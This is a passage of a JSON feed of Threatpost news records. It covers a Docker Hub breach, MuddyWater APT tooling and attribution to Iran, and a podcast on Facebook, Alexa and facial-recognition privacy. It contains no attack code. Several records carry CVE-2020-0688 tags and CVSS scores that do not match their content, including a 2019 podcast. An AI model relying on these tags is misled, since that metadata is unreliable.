Target?\n\nDocker has been in the security headlines before in the recent past; for instance, in January, researchers [hacked the Docker test platform](<https://threatpost.com/hack-allows-escape-of-play-with-docker-containers/140831/>) called Play-with-Docker with a proof-of-concept hack, allowing them to access data and manipulate any test Docker containers running on the host system. The team was able to escape the container and run code remotely right on the host.\n\nAlso, last year 17 malicious docker images [were found available](<https://threatpost.com/malicious-docker-containers-earn-crypto-miners-90000/132816/>) on Docker Hub that allowed hackers to earn $90,000 in cryptojacking profits.\n\nAnd Docker [in 2017 patched](<https://threatpost.com/docker-patches-container-escape-vulnerability/123161/>) a privilege escalation vulnerability that could also have lead to container escapes, allowing a hacker to affect operations of a host from inside a container.\n\nContainers are increasing in popularity among DevOps users in companies of all sizes because they facilitate collaboration, which optimizes their ability to deliver code fast to virtual environments. However, Lacework in [an analysis in 2018](<https://threatpost.com/22k-open-vulnerable-containers-found-exposed-on-the-net/132898/>) noted that securing workloads in public clouds requires a different approach than that used for traditional data centers, where APIs drive the infrastructure and create short-lived workloads. In turn, they\u2019re also becoming more interesting to cybercriminals, Dan Hubbard, chief security architect at Lacework, told Threatpost.\n\nEnterprises also report an accelerating number of container attacks. In fact, 60 percent of respondents in [a recent survey](<https://threatpost.com/threatlist-container-security/140614/>) acknowledged that their organizations had been hit with at least one container security incident within the past year. In companies with more than 100 containers in place, that percentage rises to 75 percent.\n\n_This story was updated on April 30 to add insight into potential repercussions of the incident. _\n", "cvss3": {}, "published": "2019-04-29T14:13:23", "type": "threatpost", "title": "Docker Hub Hack Affects 190K Accounts, with Concerning Consequences", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-29T14:13:23", "id": "THREATPOST:B047BB0FECBD43E30365375959B09B04", "href": "https://threatpost.com/docker-hub-hack/144176/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-01-13T18:12:51", "description": "U.S. Cyber Command has confirmed that [MuddyWater](<https://threatpost.com/wirte-middle-eastern-governments/176688/>) \u2013 an advanced persistent threat (APT) cyberespionage actor aka Mercury, Static Kitten, TEMP.Zagros or Seedworm that\u2019s historically [targeted government victims](<https://threatpost.com/muddywater-apt-custom-tools/144193/>) in the Middle East \u2013 is an Iranian intelligence outfit.\n\nThe link has been suspected, and now it\u2019s government-stamped. On Wednesday, USCYBERCOM not only confirmed the tie; it also disclosed the plethora of open-source [tools and strategies](<https://www.cisa.gov/uscert/ncas/current-activity/2022/01/12/cnmf-identifies-and-discloses-malware-used-iranian-apt-muddywater>) MuddyWater uses to break into target systems and released malware samples.\n\n\u201cMuddyWater has been seen using a variety of techniques to maintain access to victim networks,\u201d according to USCYBERCOM\u2019S National Mission Force (CNMF). \u201cThese include side-loading DLLs in order to trick legitimate programs into running malware and obfuscating PowerShell scripts to hide command and control functions.\u201d\n\nUSCYBERCOM has uploaded multiple MuddyWater-attributed malware samples to [VirusTotal](<https://www.virustotal.com/gui/user/CYBERCOM_Malware_Alert>).\n\n> Iranian MOIS hacker group [#MuddyWater](<https://twitter.com/hashtag/MuddyWater?src=hash&ref_src=twsrc%5Etfw>) is using a suite of malware to conduct espionage and malicious activity. If you see two or more of these malware on your network, you may have MuddyWater on it: <https://t.co/xTI6xuQOg3>. Attributed through [@NCIJTF](<https://twitter.com/ncijtf?ref_src=twsrc%5Etfw>) [@FBI](<https://twitter.com/FBI?ref_src=twsrc%5Etfw>)\n> \n> \u2014 USCYBERCOM Cybersecurity Alert (@CNMF_CyberAlert) [January 12, 2022](<https://twitter.com/CNMF_CyberAlert/status/1481341952247349248?ref_src=twsrc%5Etfw>)\n\nUSCYBERCOM\u2019s [press release](<https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/>) described MuddyWater as being \u201ca subordinate element within the Iranian Ministry of Intelligence and Security (MOIS).\u201d The [Congressional Research Service](<https://crsreports.congress.gov/product/pdf/RL/RL32048>) describes MOIS as conducting \u201cdomestic surveillance to identify regime opponents\u201d and said that the agency is responsible for surveillance of anti-regime activists abroad through a network of agents placed in Iran\u2019s embassies.\n\n## New Variants of PowGoop Malware\n\nAmong multiple malware sets, MuddyWater is using new variants of the PowGoop malware family, CNMF said.\n\nPowGoop was first [described](<https://unit42.paloaltonetworks.com/thanos-ransomware/>) by Palo Alto Networks in September 2020, when it was used in attacks on two state-run organizations in the Middle East and North Africa that ultimately installed and ran a variant of the [Thanos](<https://threatpost.com/thanos-ransomware-weaponize-riplace-tactic/156438/>) ransomware.\n\nAt the time, Palo Alto suspected that the threat actors were using a downloader \u2013 one that researchers dubbed PowGoop \u2013 to reach out to a remote server to download and execute PowerShell scripts. The name comes from the use of GoogleUpdate.exe to load a malicious, modified version of goopdate.dll \u2013 a DLL that\u2019s used to load a malicious PowerShell script from an external file.\n\nPowGoop has been buffed up since it was first spotted: SentinelLabs on Wednesday [explained](<https://www.sentinelone.com/labs/wading-through-muddy-waters-recent-activity-of-an-iranian-state-sponsored-threat-actor/>) that significantly enhanced, newer variants of PowGoop have shown up in the wild, discovered in recently triaged incidents, \u201csuggesting the group continues to use and maintain it even after recent exposures.\u201d\n\n\u201cThe new variants reveal that the threat group has expanded its arsenal of legitimate software used to load malicious DLLs,\u201d SentinelOne intelligence researcher Amitai Ben Shushan Ehrlich wrote.\n\nEhrlich explained that, aside from GoogleUpdate.exe, three more benign pieces of software are abused in order to sideload malicious DLLs: Git.exe, FileSyncConfig.exe and Inno_Updater.exe.\n\nCNMF has shared new samples showing the different parts of MuddyWater\u2019s new suite of tools, along with JavaScript files used to establish connections back to malicious infrastructure. They include new PowGoop command-and-control (C2) beacon variants as well as the Mori Backdoor: a backdoor used for cyber espionage that employes DNS tunneling to communicate with the C2 infrastructure.\n\n\u201cAny instances of these files may indicate an attacker in the network,\u201d CNMF reiterated about newly released and already known indicators of compromise (IoC). \u201cShould a network operator identify multiple of the tools on the same network, it may indicate the presence of Iranian malicious cyber actors.\u201d\n\n## Love of Tunneling, Exchange Exploits &amp; Ruler Abuse\n\nSentinelLabs drilled down into multiple additional recent findings about MuddyWater\u2019s techniques, tactics and procedures (TTPs), including:\n\n**MuddyWater Tunneling Activity: **\u201cThe operators behind MuddyWater activities are very fond of tunneling tools,\u201d SentinelOne\u2019s Ehrlich wrote. \u201cThe custom tools used by the group often provide limited functionality, and are used to drop tunneling tools which enable the operators to conduct a wider set of activities.\u201d\n\nMuddyWater attackers are using tunneling tools including Chisel, SSF and Ligolo: tools that enable the threat actor to connect to machines within target environments as if they were inside the operator LAN, he explained.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/01/13120926/Summary-of-MuddyWater-tunneling-using-Chisel--e1642093784315.png>)\n\nSummary of MuddyWater tunneling using Chisel. Source: Sentinel Labs.\n\n**Exploiting Microsoft Exchange: **Sentinel Labs has also tracked MuddyWater targeting Exchange servers of high-profile organizations. \u201cThis subset of Exchange exploitation activity is rather interesting, as without context it would be difficult to attribute it to MuddyWater because the activity relies almost completely on publicly available offensive security tools,\u201d Ehrlich noted.\n\nThey\u2019re using two tools to try to exploit Exchange servers: a publicly available script for exploiting [CVE-2020-0688](<https://threatpost.com/microsoft-exchange-exploited-flaw/159669/>) \u2013 a vulnerability that enables remote code execution (RCE) for an authenticated user \u2013 and Ruler, an open source Exchange exploitation framework recently used to target a string of Middle Eastern telecom operators and IT companies, as [reported](<https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-campaign-telecoms-asia-middle-east>) by Symantec\u2019s Threat Hunter Team last month.\n\n## MuddyWater: Better &amp; Better at Stirring Up Muck\n\nAnalysis shows that the MuddyWater APT continues to evolve and adapt its techniques Sentinel Labs summarized. \u201cWhile still relying on publicly available offensive security tools, the group has been refining its custom toolset and utilizing new techniques to avoid detection,\u201d Ehrlich observed, pointing to evolution of the PowGoop malware family, the group\u2019s use of tunneling tools, and its targeting of Exchange servers in high-profile organizations.\n\nThe group doesn\u2019t have to be fancy to be effective, he noted: \u201cLike many other Iranian threat actors, the group displays less sophistication and technological complexity compared to other state-sponsored APT groups. Even so, it appears MuddyWater\u2019s persistency is a key to their success, and their lack of sophistication does not appear to prevent them from achieving their goals.\u201d\n\n**Password** **Reset: ****[On-Demand Event](<https://threatpost.com/webinars/password-reset-claiming-control-of-credentials-to-stop-attacks/>):** Fortify 2022 with a password security strategy built for today\u2019s threats. This [Threatpost Security Roundtable](<https://threatpost.com/webinars/password-reset-claiming-control-of-credentials-to-stop-attacks/>), built for infosec professionals, centers on enterprise credential management, the new password basics and mitigating post-credential breaches. Join Darren James, with Specops Software and Roger Grimes, defense evangelist at KnowBe4 and Threatpost host Becky Bracken. **[Register &amp; Stream this FREE session today](<https://threatpost.com/webinars/password-reset-claiming-control-of-credentials-to-stop-attacks/>)** \u2013 sponsored by Specops Software.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-01-13T17:35:34", "type": "threatpost", "title": "US Military Ties Prolific MuddyWater Cyberespionage APT to Iran", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2022-01-13T17:35:34", "id": "THREATPOST:6EA5AB7FCD767A01EA56D7EEF6DA0B0A", "href": "https://threatpost.com/us-military-ties-muddywater-cyberespionage-apt-iran/177633/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:11", "description": "Data privacy has been an outstanding theme this past week, and the Threatpost team discussed the biggest privacy related news. In the news wrap podcast for April 26, the team discussed the backstories behind several reports from the week, including:\n\n * Facebook potentially [facing Federal Trade Commission (FTC) fines](<https://threatpost.com/facebook-5-billion-ftc-fine/144104/>) as high as $5 billion for its data-security practices\n * A report that employees at Amazon can [access geolocation information](<https://threatpost.com/amazon-employees-personal-alexa/144119/>) for Alexa users\n * Questions around data security and consent around[ facial recognition](<https://threatpost.com/facial-recognition-consent-doesnt-exist-threatpost-poll-finds/144126/>) after the EU\u2019s approval of a massive biometrics database\n * The exposure of [2 million passwords](<https://threatpost.com/leaky_app_data/144029/>) for Wi-Fi hotspots online by an insecure database\n\n[\ufeff\n\n](<http://iframe%20style=border:%20none%20src=//html5-player.libsyn.com/embed/episode/id/9544445/height/360/theme/legacy/thumbnail/yes/direction/backward/%20height=360%20width=100%%20scrolling=no%20%20allowfullscreen%20webkitallowfullscreen%20mozallowfullscreen%20oallowfullscreen%20msallowfullscreen/iframe>)\n\n_Below is a lightly edited transcript of the podcast._\n\n**Lindsey O\u2019Donnell**: Welcome to the Threatpost podcast, and the Threatpost team is all here this Friday morning. You\u2019ve got Lindsey O\u2019Donnell and I\u2019m here with Tara Seals and Tom Spring. Hey, everyone.\n\n**Tara Seals:**Hey, Lindsey.\n\n**Tom Spring: **How\u2019s it going, Lindsey? How\u2019s it going, Tara?\n\n**Lindsey**: Good. So, privacy has really been kind of the name of the game this week, in terms of all the stories that we\u2019ve written. And I know, we had a lot of data privacy type stories, everything from Amazon Echo privacy issues to facial recognition. But if we\u2019re talking about data privacy, I think we should really start by bringing Facebook into the conversation here, as we usually do.\n\n**Tara: **Yeah, that seems to have been a top theme of the week for sure. And you did a ton of reporting on that this week.\n\n**Lindsey: **Yeah, so, the big news this week was that Facebook may be facing fines of between $3 to $5 billion for that FTC fine that was related to the Cambridge Analytica incident last year, and all of their data privacy issues that they\u2019ve had since then. So, Facebook had its earnings and disclosed this amount of money that is set aside as contingency expenses. And I feel like we keep hearing about reports of Facebook, having all these data sharing incidents, or having all these crazy data practices, but now we\u2019re really looking at the consequences. And everyone\u2019s wondering how data collection and sharing will be regulated and what kind of fines we\u2019ll see. So that should be interesting to keep an eye on how this actually plays out in the coming months.\n\n**Tara: **Yeah, and I wonder in terms of all of that, when we talk about the GDPR, over in Europe, and how it has really stringent requirements for explicit consent before somebody harvests your data, which obviously is not something that Facebook adheres to, for U.S. citizens anyway \u2013 have there been any rumblings out there in terms of whether or not Facebook might face future regulation?\n\n**Lindsey: **I think that\u2019s there\u2019s been a lot of discussion about it. I know, obviously, Mark Zuckerberg has appeared in front of Congress. And it\u2019s definitely been at the forefront of discussion. But beyond some state-level data privacy practice regulations, it\u2019s something that people are still trying to figure out. So I think that\u2019s kind of why this FTC fine is at the center of attention. There was news today, actually, that the _New York Times _was talking to sources who said that the FTC is discussing stronger monitoring of Facebook\u2019s privacy policies, as well as direct punishment of Mark Zuckerberg. So that raises questions about how to deal with data sharing, whether it\u2019s kind of hitting at the CEO, or even just imposing bigger fines. But Tara, I know, you listen to the actual earnings call. Were there any special call outs about the fine or data security in general? I\u2019m curious if they talked about it at all.\n\n**Tara:**They studiously avoided talking about the fines specifically, which, it\u2019s a charge off of, they added $3 billion, and they said it could go up to as much as $5 billion, and so that ate into their profit, which is kind of interesting, because they reported, I think it was, I don\u2019t have it in front of me, but I think it was around like $2.3 billion in profit for the quarter.\n\nAnd that that is taking into account that $3 billion contingency fine. And they didn\u2019t really specifically discuss it. But they did say that they expected profits to continue to waver a little bit going forward, due to regulatory headwinds, as well as advertising-related falloff, because they\u2019re not sure that they can make the same amount of revenue off of ad targeting that they have in the past.\n\nSo that sort of in a roundabout way speaks to the fact that they\u2019re looking into making some changes in terms of how they collect and use user data. But that\u2019s sort of reading between the lines, and they certainly didn\u2019t say anything explicit about it, unfortunately.\n\n**Lindsey: **Right. Well, I know one big point of discussion was, is this enough? How does this compare to past fines? Because I know Facebook has faced various fines in the past, which Tara you have actually written about. I think it was in December it was fined like $11 million. And then in October, it was fined $645,000. So obviously, those kind of shy away in comparison to $5 billion, but I think people are still kind of asking, how does this compare? Facebook\u2019s kind of overall \u2013\n\n**Tara: **Yeah, their overall profit, annual, you know, $3 to 5 billion is significant for them, actually.\n\n**Tom:**Well, I just looked it up. Facebook made more than $40 billion in revenue in 2017.\n\n**Tara: **What\u2019s the profit? That\u2019s the real marker right?\n\n**Tom: **Well, it is the real marker.\n\n**Lindsey: ** I\u2019m curious what will come out of it. But I do know that everyone\u2019s really looking at this as some sort of precedent for how Facebook will be regulated in the future, if it continues with the data security issues that have been happening over the past year, since Cambridge Analytica.\n\n**Tara: **One of the things too, Lindsey, that I wanted to ask you about was, you know, [the poll that we did](<https://threatpost.com/three-fourths-of-consumers-dont-trust-facebook-threatpost-poll-finds/143963/>) on attitudes towards Facebook. But, you know, also in the wake of their earnings that showed that they had seen an 8 percent year over year, subscriber jump, so the headlines, even though people are sort of horrified by them, they\u2019re not really dissuading people from actually using the platform, which I think is interesting. And then also their stock price just skyrocketed, after they reported their earnings, even with the charge off for the fine. So I don\u2019t know, I don\u2019t know what\u2019s going to happen in the future and whether any of this is going to make a difference in terms of whether or not it\u2019s successful as a company.\n\n**Tom: **I was just thinking, I think that, it\u2019d be interesting to watch the regulatory space to see what the U.S. does, especially with GDPR, in terms of what\u2019s going on in Europe, and really a constant sort of, you know, march of bad news in terms of privacy, and also with breaches that are taking place, not only with Facebook, but with a ton of other companies \u2013 I think what we\u2019re doing is we\u2019re setting up in 2020, and beyond some new rules around privacy and some new regulations around privacy. Because I mean, as you just pointed out, Tara, fines and threats and punishments are not really are impacting the way Facebook\u2019s doing business or hurting them in terms of their business model.\n\n**Lindsey: **Right. I don\u2019t think at all that people are going to stop using Facebook. And I mean, to be totally honest, even if they do adopt some sort of model where you pay to use the platform without advertising or without your data being collected and shared \u2013 I\u2019m not sure how many people would even opt in for that as well. I mean, I could be completely wrong. But I don\u2019t know if people are going to pay an extra like $5 a month or something to use a social media platform that\u2019s already free.\n\n**Tom: **Yeah, I don\u2019t think anybody\u2019s going to be paying. But I think what you\u2019ll see is probably some government intervention. That\u2019s my prediction. I mean, the things that we regulate here in the U.S. \u2013 these companies, whether it be Amazon, Google, or Facebook, they\u2019ve basically had a clear runway to do whatever they wanted for I don\u2019t know how many years. And, you know, if you think about all the different things that we regulate in this country, privacy really isn\u2019t one of them right now, but certainly isa right target for legislators to focus on.\n\n**Lindsey: **Right. That\u2019s the good point. Speaking of Amazon, I know, Tara, you covered a really interesting story this week too about news of their auditing program for Echo devices, which had already been reported. But now I guess a new report said that they\u2019re also exposing geolocation data, in addition to voice data. Can you add some color there?\n\n**Tara: **Sure. So, this story was really interesting to me. And it\u2019s not just Echo either. It\u2019s also, you know, the other Alexa devices including the Fire TV devices and there are tons of third-party gadgets that have Alexa built in now. So this is kind of a broad reaching story, from an Internet of Things perspective. But yeah, so apparently, and as you pointed out, this is something that _Bloomberg _had broken a story on about three weeks ago, talking about the fact that Amazon has a team of people in place that may manually audit Alexa interactions to make sure that the AI is learning appropriately. And it\u2019s been effective and accurate and returning good results for users, and all that kind of thing. But what\u2019s interesting is in the process of that, this data, which is supposed to be anonymous, right? So it\u2019s just sort of random snippets \u2013 human people will listen to this, and then see what Alexa\u2019s response was matched up, make sure that it\u2019s accurate, do whatever secret sauce they have to do with the algorithm and the AI to fix it, or to make her smarter \u2013 But in the process of this, apparently, geolocation data gets scooped up here. Because when people ask, Alexa, tell me what the weather forecast is, or Alexa, I\u2019m feeling like Chinese, is anybody delivering to my house, that type of thing. That necessarily, obviously, those local results have to be tied to geolocation data. So they\u2019re scooping up and harvesting and storing and logging GPS coordinates, in addition to sort of these random, other snippets. And so there were five different employees within Amazon that are working on this program, that basically came forward and said that they feel that nobody gave their consent for this and that it\u2019s too broad of an access for them to have. And then they actually on a whim, sort of plugged these coordinates into Google Maps and found that they could actually track somebody\u2019s place of business or their house, and even bring up a picture of that house. And through other means, actually identify who lives there, and then tie all this other information together and be able to create a very creative profile.\n\n**Tom: **I agree with you, Tara, I think that we need to be more concerned about the privacy that we hand over to these types of digital devices. And I\u2019m even more concerned now about the privacy issues that have surround geo-specific apps, where you\u2019re using an app and it understands where you\u2019re at and gives you sort of context-relevant information, and how that data is being used, and who\u2019s using it, and who\u2019s collecting it. When you think about Amazon, they\u2019re a much more potentially powerful company considering all the tentacles that it has into my buying and my data, and my home with their Alexa speakers.\n\n**Lindsey:**Yeah, that\u2019s a really good point. And I\u2019m curious too about the consent and notification side of all of this. I mean, did they have any response Tara about if they gave any notification that they were doing any of this at all? Is there anything on Amazon\u2019s website about this program?\n\n**Tara: **No, no, this was completely in the background until _Bloomberg _came forward with their report, they didn\u2019t acknowledge that it exists. And they just put out a statement saying, you know, we take privacy seriously. And saying, we limit, the number of people that have access to this, who are tasked with doing this as part of their job, and they\u2019re bound by, you know, all kinds of restrictions and things like that it\u2019s highly controlled.\n\n**Tom: **I gotta come back to the point where I feel like this is an area ripe for regulation. I\u2019m not pro regulation but I mean, if this is something that consumers are outraged about \u2013 I think there\u2019s got to be a GDPR type regulations that we\u2019re going to see here in the U.S. that that are going to impact the Facebook\u2019s and the Amazons in the world.\n\n**Tara: **Right and now, we have other types of privacy and sort of potentially intrusive privacy issues to worry about too \u2013 Lindsey, going back to some of the reporting you did this week, but with the facial recognition stuff is happening. You know that that seems like sort of the Wild West out there. There\u2019s no regulation around that.Right?\n\n**Lindsey: **Well, yeah, exactly. And the scary thing about that, too, is that a lot of the facial recognition applications out there are actually being used by the government. So by the Department of Homeland Security and by policemen and whatnot. But yeah, facial recognition came up in the headlines a bunch this week, because there\u2019s been two different incidents. The first was you guys may have heard the EU last week approved a massive biometrics database that would combine the data from law enforcement, from Border Patrol, and more for both EU and non US citizens. So there was that. And then there was another incident this week that occurred where a JetBlue passenger was boarding a flight. And she noticed that instead of scanning her boarding pass, or taking a look at her passport, she was directed to look into a camera, before being allowed on onto the jet bridge. So she was confused about what was going on and so tweeted at JetBlue. And it turns out, this was part of a Customs and Border Patrol program that\u2019s used in I think, 17 airports, where it uses facial recognition to identify passengers and let them through the gateway onto the plane. So her tweet went viral and kind of started this massive conversation about facial recognition and you know, if you can consent and where the data is coming from, how it\u2019s being shared. So that\u2019s been a really interesting story to cover, and kind of see the backlash and reaction to both of these incidents.\n\n**Tom: **I can relate to that. I recently traveled to Mexico, for a little vacation. And, I am seeing facial recognition more and more in my life. I think the interesting thing about your story, Lindsey, was also you wrote about consent, whether or not all of these facial recognition systems actually ask for consent and get consent, which they don\u2019t. But when I went to Mexico, we flew into Mexico, and then we went through customs in Mexico, and Mexico had immigration kiosks, where they asked for facial recognition and fingerprints, and to scan our passports, which \u2013 I was really creeped out. My son, who\u2019s 14 years old, I think probably is now part of the government database of fingerprints and facial recognition. It was kind of weird. Considering, you know, he\u2019d been off grid, perhaps I think for a while now, he\u2019s part of the system. And then we flew back into the United States. There was these huge immigration lines in the Boston Airport. And one of the things that we were able to do was to cut the line by using what was called a mobile passport app. And I didn\u2019t realize it but when you use the app, and you get to skip this, this huge onerous line that goes to basically more facial recognition kiosks for people coming into the United States. And the app itself was pretty slick. I mean, it\u2019s kind of funny, because I felt really good about using the app, because it allowed me to cut in line. But the app basically did a facial recognition, had me input my passport information, and basically, took my identity in this app. And, I was so eager to cut the line, I gotta admit, I kind of skipped over a lot of the terms of services. And it saved me about 45 minutes. And for the price of handing over my biometric data to the government and to this to this app.\n\n**Lindsey: **That experience brings up a really good point, because, I think that there definitely are benefits to facial recognition. Like, it\u2019s not all about this dire Orwellian society. I think it makes these processes so much more efficient. But I do think there\u2019s also a bunch of kind of privacy concerns that people expressed to me over the past week. And, Tom, like you were saying, consent and notification, but then also in terms of how the data is being secured, how it\u2019s being shared, and who\u2019s gaining access to that data. So I think that there\u2019s kind of a lot that goes into it. I know that we actually did a poll, a Threatpost poll, and half of the respondents, this kind of surprised me, but half of the respondents said that they don\u2019t believe consent is realistically possible when it comes to facial recognition. So I thought that was interesting, too, because if you think about some of the use cases where biometrics and facial recognition exists, if you have like a security camera, or surveillance camera that is using facial recognition, there\u2019s not a lot you can do to opt out of that except for avoiding that area.\n\n**Tom:**Well, I think you mentioned that the White House now has a zone where they use facial recognition. And right there, there\u2019s no way you can say no, you walk into that zone. And you\u2019re basically get put into a big database, and they cross reference it and figure out who you are.\n\n**Lindsey: **Right. So there\u2019s a lot that goes into that. And then when I was talking to a bunch of security people at the Electronic Frontier Foundation, as well, they were mentioning that there really needs to be regulation for all this. And there, there is one law that exists in Illinois, where it basically regulates the collection of biometric data without consent. But they think that there needs to be more. And in particular, regulation that impacts law enforcement, as opposed to just businesses which that law did. So I know, there\u2019s also been a new bill that was introduced in March, it was, what was it called, the Commercial Facial Recognition Privacy Act, that would have like more widespread implications for businesses in terms of how what kind of notification and consent they would need when they use facial recognition. So I think that\u2019s kind of a step in the right direction, but something to be looking out for.\n\n**Tom: **Yeah, facial recognition has been a creepy topic for a long time. But you know, as these GPUs get better, and these computers get better, and the efficiency of the compute behind them get better. It just becomes even creepier. I don\u2019t even think the tin foil hats will help protect you.\n\n**Lindsey: **So Tom, you also had an interesting story this week. I think it was about passwords being \u2013 I think it was 2 million passwords were \u2013 being exposed.\n\n**Tom: **Yeah. So I mean, we hear about these breach stories all the time. And I mean, there\u2019s probably like, since we\u2019ve been talking, there\u2019s probably been like three breaches, or should I say leaky servers and insecure data on the internet. And one of the things that I think is kind of interesting about the story is that the leaky data, it was tied to a China-based app manufacturer, called Wi Fi Finder. And researchers at GDI Foundation, found 2 million hotspots and passwords for those hotspots on the servers of this app, this Android app called WiFi Finder. And essentially, it\u2019s pretty straightforward. The app itself is an Android-based app, you can get it on Google Play. And it\u2019s one of many of apps that do the same thing. And that is essentially crowdsource on Wi-Fi hotspot data, and also pairing that information with passwords. So the idea is if your dataset is big enough, and you\u2019re wandering around with this app on your phone, you can find a hotspot, and you can authenticate to that hotspot, and you don\u2019t have to ask anybody for a Wi-Fi password. Now, the data that was found on the servers was pretty extensive in the sense that it wasn\u2019t just commercial businesses. So you know, you go to Starbucks, you go to your local gym, or you go to, you know, a bookstore or something like that, you know, you have these public Wi Fi hotspots with a password that you may have to ask for, you may have to look for. And what was happening was that people were crowdsourcing private companies that were not, generally publicly accessible. And for some odd reason, and this really wasn\u2019t explained very well in the reporting, of the research, was that there was a massive, massive amount of Wi-Fi hotspots that were owned by home users like consumers. And so you would you basically had a lot of a lot of password information and a lot of hotspots by consumers in their homes. And the concern there is, is that in a commercial setting, or even in a sort of a public business, publicly accessible hotspot, there are protections put in place to prevent people from messing with the router configurations and accessing some of the some of the settings within the router. But as if you have access to a home router, those security measures are not in place. And there was no documented cases of hacking, but the concern was there regarding that type of information being available to anybody that had access to this leaky server.\n\n**Lindsey:**I feel like we keep seeing this issue of insecure databases and these accidental exposures, which, obviously are different from a malicious breach. I\u2019m curious if there\u2019s something that can be done to prevent this for people who own these databases. I mean, Tom, did you talk to anyone, any experts who had any recommendations about how to better secure databases and kind of what the underlying problem is here?\n\n**Tom: **I did talk to a couple experts on this one. And, you know, the advice is always the same.In terms of leaky data on servers, it doesn\u2019t change much. Just make sure you configure your servers correctly, and make sure that they\u2019re not accessible to the public. I mean, there\u2019s a couple strategies that you can apply to that. I think one of the one of the other suggestions was the way in which some of these publicly accessible sites providing and offer Wi-Fi, and that would be more or less not an open Wi-Fi, not an insecure Wi-Fi, but things that use tokens and allow and divvy out Wi-Fi to individuals using a specific time delineated username and a unique password. And that way, it would basically render all of these apps useless, because there would be a unique username and a unique password, that would timeout within a certain period of time, which would really create a much more secure public Wi-Fi experience. And that was really the suggestion. And that was really what the experts were saying that I talked to regarding the blowback on this story.\n\n**Lindsey: **Well, I\u2019m feeling sufficiently like I need more privacy right now. Maybe we should wrap up now, Tom and Tara, thanks for taking the time and really interesting discussion today.\n\n**Tara: **Yeah. Thanks, Lindsay. Thanks, Tom.\n\n**Tom: **Yeah, have a great weekend. Have a great weekend.\n\n**Lindsey: **Catch us next week on the Threatpost podcast.\n\nFor direct download, [click here](<http://traffic.libsyn.com/digitalunderground/NEWS_WRAP_FINAL.mp3>).\n", "cvss3": {}, "published": "2019-04-26T17:57:36", "type": "threatpost", "title": "News Wrap: Amazon Echo Privacy, Facebook FTC Fines and Biometrics Regulation", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2019-04-26T17:57:36", "id": "THREATPOST:FE41B3825C6A9EE91B00CDADD2AF9147", "href": "https://threatpost.com/threatpost-news-wrap-podcast-for-apr-26/144144/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:59", "description": "An array of customized attack tools are helping the MuddyWater advanced persistent threat (APT) group to successfully exfiltrate data from its governmental and telco targets in the Middle East; an analysis of this toolset reveals a moderately sophisticated threat actor at work \u2013 with the potential to get even more dangerous over time.\n\nAn analysis from Kaspersky Lab released Monday shows that post-infection, the gang reaches for multiple, relatively simple and expendable tools to infiltrate victims and exfiltrate data, mostly using Python and PowerShell-based coding. The arsenal includes download/execute tools and remote access trojans (RATs) written in C# and Python; SSH Python scripts; and multiple Python tools for the extraction of credentials, history and more.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nKaspersky Lab also found that the group uses various deception techniques to derail detection efforts, such as Chinese strings, Russian strings and an impersonation of a completely different hacking group known as RXR Saudi Arabia.\n\n## A Battalion of RATs and More\n\nSome of MuddyWater\u2019s tools include proprietary efforts such as Nihay, a C# download-and-execute tool. It downloads a PowerShell one-liner from a hardcoded URL, researchers found. Like the other malicious code offerings from MuddyWater, this is a straightforward and simple malware that has but a single job.\n\nAnother tool that the researchers observed is a C# RAT called LisfonService. It \u201crandomly chooses a URL from a huge array of hardcoded proxy URLs hiding the real C2 server,\u201d according to [the analysis](<https://securelist.com/muddywaters-arsenal/90659/>), and is tasked with registering a victim with the C2 by collecting the user name, domain or workgroup name, machine name, machine internal IP address, OS version, OS build and public IP address. This information is used later to request commands from the C2, such as executing PowerShell code or crashing the system.\n\nAnother RAT called Client.Py is a Python 3.6 RAT is a bit more advanced; it supports basic keylogger functionality, stealing passwords saved in Chrome, killing task manager, remote command-execution and displaying an alert message for the victim in a message box.\n\nWhile most of the tools that MuddyWater uses are custom-developed, there are a handful that are based on more generic and publicly available ones, researchers added.\n\n## Deception\n\nAppropriately given the APT\u2019s name, one of the ways that MuddyWater throws forensics off the trail of attribution is by planting false flags, the analysis shows \u2013 including the incorporation of different languages into the coding.\n\n\u201cMultiple Chinese strings can be found in some PowerShell RAT payloads (such as Ffb8ea0347a3af3dd2ab1b4e5a1be18a) that seem to have been left in on purpose, probably to make attribution harder,\u201d according to Kaspersky Lab.\n\nThis also holds true for a series of Russian words that researchers found in another PowerShell sample.\n\n\u201cAttackers used Russian words as the RC4 key when establishing a connection to the C2 server,\u201d the team noted. It added, \u201cInterestingly, when visiting the C2, it displays a blank webpage whose HTML source code shows a strange HTML tag value that suggests attackers have tried to impersonate a Saudi hacking group called RXR Saudi Arabia.\u201d\n\nIn all, the MuddyWater APT shows the hallmarks of being a moderately sophisticated threat group that has built up a reasonably advanced armory to carry out their efforts. Lately those efforts have included attacks on government and telco targets in Bahrain, Iraq, Jordan, 